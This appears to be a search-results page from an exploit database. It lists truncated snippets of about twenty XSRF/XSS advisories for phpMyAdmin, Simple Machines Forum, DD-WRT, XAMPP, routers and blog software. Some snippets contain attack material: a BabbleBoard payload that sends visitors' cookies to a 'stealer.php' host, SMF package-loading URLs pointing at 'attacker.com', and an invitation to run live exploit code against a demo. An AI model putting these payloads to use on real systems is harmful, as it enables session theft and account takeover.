936 matches found
ManageEngine Firewall Analyzer 5 - Cross-Site Request Forgery / Cross-Site Scripting
Written By Michael Brooks Special thanks to str0ke! Product: ManageEngine Firewall Analyzer 5 - XSRF and XSS Vulerable version: Build Version : 5.0.0 Build Number : 5000 Build Date : Apr25 homepage: http://fwanalyzer.com/ This is live exploit code against the online demo. Go ahead, run it! With...
Zoom VoIP Phone Adapater ATA1+1 1.2.5 - Cross-Site Request Forgery
Zoom VoIP Phone Adapater ATA1+1 1.2.5 - Cross-Site Request Forgery Written By Michael Brooks Special thanks to str0ke! Zoom VoIP Phone Adapater ATA1+1 XSRF voip provider change xsrf version 1.2.5 milw0rm.com 2009-01-29...
Zoom VoIP Phone Adapater ATA1+1 1.2.5 - Cross-Site Request Forgery
Written By Michael Brooks Special thanks to str0ke! Zoom VoIP Phone Adapater ATA1+1 XSRF voip provider change xsrf version 1.2.5 milw0rm.com 2009-01-29...
Simple Machines Forum 1.1.7 XSRF/XSS
Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file: http://attacker.com/packages.xml Save this file as...
Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln
Exploit for unknown platform in category web applications =========================================================== Simple Machines Forum Xianur0 Was Here SMF XSS PoC By Xianur0 alert'XSS' Xianur0:XSMF SMF PoC By Xianur0 smfexploit.zip 0.1 Xianur0 alertdocument.cookie /package-l...
Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln
No description provided by source. Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file:...
Siemens ADSL SL2-141 XSRF Exploit
"; // Uses the default login to auth Admin:Admin, could use a dictionary instead. // Just some stuff to keep the user busy, aka Rickroll $mystr="Unbelivable moviefunction siera var bullshit='Possibly the funniest video on the web param name="movie"...
Simple Machines Forum (SMF) 1.1.7 - Cross-Site Request Forgery / Cross-Site Scripting / Package Upload
Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file: http://attacker.com/packages.xml Save this file as...
Ninja Blog 4.8 XSRF / XSS
Vendor: http://ninjadesigns.co.uk Versions: Ninja Blog 4.8 May also affect earlier versions Credit: Danny Moules Critical: Yes See PUSH 55 Advisory at https://www.push55.co.uk/index.php?s=ad&id=7 ---- Due to insufficient validation of client-side data, we can inject script directly into the...
PollPro 3.0 XSRF VuLn.
------------------- header data start ------------------- Application Name : PollPro Vulnerable Type : XSRF Infection : Uzaktan otomatik olarak admin pass change edilebilir. Bug Fix Advice : Forma Oturum Keyi Session Token eklenmeli, eski ifre sorulmaldr. author : The0nur-n0x -------------------...
EggBlog 3.1.10 XSRF Vulnerability
| | | Project: EggBlog v 3.1.10 | | Author: x0r | | Email: andry2000athotmaildotit | || Code: x0r :P document.forumform.submit With this csrf you can change the admin pass ^ ^...
Doop 1.4.0b XSRF / Shell Upload
-------------------------------------------------------------------------- | Project: Doop document.admin.submit ---------------------------------------------------------------------- -- Upload Shell -- Ok. Una volta nel pannello di amministrazione possiamo uppare qualsiasi file non controlla...
TYPO3 Security Bulletin
It has been discovered that the extension phpMyAdmin phpmyadmin is vulnerable to SQL injections via XSRF. Component Type: Third party extension. This extension is not a part of the TYPO3 default installation. Affected Versions: Version 4.1.1 and all versions below Vulnerability Type: SQL injectio...
BabbleBoard 1.1.6 XSRF
BabbleBoard v1.1.6 Cookie Grabber Exploit/CSRF + Discovered By SirGod + Greetz : All my friends + Cookie Grabber Exploit - Steal the cookie of any visitor. 1.Register as : document.location ="http://yourdomain/path/stealer.php?cookie=" + document.cookie; Everyone who visit the index page will be...
Multiple XSRF in DD-WRT (Remote Root Command Execution)
Author: Michael Brooks !!!! I usually don't like posting my leet exploits to bugtraq because it is so unprofessional. You guys usually malform my exploits so they are totally useless, even to someone trying to write a patch! You also tend to get the wrong name! Michael Brooks wrote this! Exploits...
DD-WRT v24-sp1 (XSRF) Cross Site Reference Forgery Exploit
No description provided by source. Remote root dd-wrt -------------------------------------------------------------------------------- Written by Michael Brooks Special thanks to str0ke Exploits tested on the newist stable version: Firmware: DD-WRT v24-sp1 07/27/08 micro Product Homepage:...
phpMyAdmin 3.1.0 (XSRF) SQL Injection Vulnerability-vulnerability warning-the black bar safety net
Written by Michael Brooks Special Thanks to str0ke and rGod Intr phpMyAdmin is by far the most popular PHP project. Between phpmyadmin and the xampp project there are more than 3 4+ million downloads from sourceforge.net . This exploit was released along side XSRF attacks against XAMPP and Simple...
phpMyAdmin 3.1.0 XSRF / SQL Injection
Written by Michael Brooks Special Thanks to str0ke and rGod Intro: phpMyAdmin is by far the most popular PHP project. Between phpmyadmin and the xampp project there are more than 34+ million downloads from sourceforge.net . This exploit was released along side XSRF attacks against XAMPP and Simpl...
XAMPP 1.6.8 (XSRF) Change Administrative Password Exploit
No description provided by source. XAMPP change administrative password: -------------------------------------------------------------------------------- Written by Michael Brooks special thanks to str0ke Affects XAMPP 1.6.8. homepage: http://www.apachefriends.org/ XAMPP has 17+ million downloads...
phpMyAdmin 3.1.0 (XSRF) SQL Injection Vulnerability
No description provided by source. Written by Michael Brooks Special Thanks to str0ke and rGod Intro: phpMyAdmin is by far the most popular PHP project. Between phpmyadmin and the xampp project there are more than 34+ million downloads from sourceforge.net . This exploit was released along side...